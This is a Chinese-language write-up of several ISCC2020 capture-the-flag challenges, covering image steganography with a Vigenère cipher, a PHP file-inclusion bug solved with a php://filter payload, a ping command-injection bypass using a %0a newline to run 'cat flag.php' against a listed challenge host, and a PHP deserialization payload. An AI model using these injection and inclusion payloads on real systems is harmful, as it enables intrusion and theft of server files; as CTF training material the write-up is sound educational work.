ISCC2020部分wp

wp"/>

ISCC2020部分wp

ISCC签到

下载附件，拖进winhex，修改图片高度

提交ISCC{D3tivtm_ zv_ Tq5I_Dygef}，结果错误。应该进行了加密，尝试了栅栏密码和凯撒密码也不对，最后才知道是维吉尼亚加密。题目中的high应该就是key。

flag:ISCC{W3lcome_ to_ Mi5C_ Wryyy}

阿森的爱情-1

Where is file?-1

考察php伪协议

<?php
show_source(__FILE__);
echo $_GET['hello'];
$file=$_GET['file'];
while (strstr($file, "file://")) {$file=str_replace("file://", "", $file);
}
include($file);
?>

从给出的代码来看，参数名是file，并且过滤了file协议。使用伪协议(根据源码，不能使用file协议)读取flag内容：

Payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

可以得到一串求字符串：
PD9waHAKJGE9ImZsYWd7d2ViX2luY2x1ZGVfZmlsZX0iOwo/Pgo=

Base64解密可得到：

<?php
$a="flag{web_include_file}";
?>

阿帅的爱情

<?php
if(!isset($_GET["ip"])){show_source(__file__);
} else
{$ip=$_GET["ip"];$pattern="/[;|&].*[a-zA-Z]+/";if(preg_match($pattern,$ip)!=0){die('bad domain');}try {$result = shell_exec('ping -c 4 ' . $ip);}catch(Exception $e) {$result = $e->getMessage();echo $result;}$result = str_replace("\n", "<br>", $result);echo $result;
}

?ip=%0als

http://101.201.126.95:7013/?ip=%0acat%20flag.php

?ip=%0acat flag.php

Php is the best language

打开下载的文件

<?php  
@error_reporting(1);
include 'flag.php';
class baby 
{public $file;function __toString()      {if(isset($this->file)){$filename = "./{$this->file}";if (base64_encode(file_get_contents($filename))){return base64_encode(file_get_contents($filename));}}}
}if (isset($_GET['data']))
{$data = $_GET['data'];$good = unserialize($data);echo $good;
}
else 
{$url='./index.php';
}$html='';
if(isset($_POST['test'])){$s = $_POST['test'];$html.="<p>谢谢参与!</p>";
}
?>

修改代码

<?php  
@error_reporting(1);
include 'flag.php';
class baby 
{public $file="flag.php";function __toString()      {if(isset($this->file)){$filename = "./{$this->file}";if (base64_encode(file_get_contents($filename))){return base64_encode(file_get_contents($filename));}}}
}$a = new baby;
echo serialize($a);
?>

运行上面的代码，可得到：

O:4:"baby":1:{s:4:"file";s:8:"flag.php";}

这串字符串应该是Base64加密

ISCC成绩查询-1

下载得到一个PNG文件，使用Stegsolve，发现隐写以下内容

基本确定是一个哥尼斯堡七桥问题，观察到上图只有14、5号点是奇度数节点，所以是存在欧拉通路的半欧拉图。从两个奇度数点出发，找到符合图片顺序的欧拉通路。

连接后为：TRLNCHHAFCIEEIEEPR

flag{THERAILFENCECIPHER}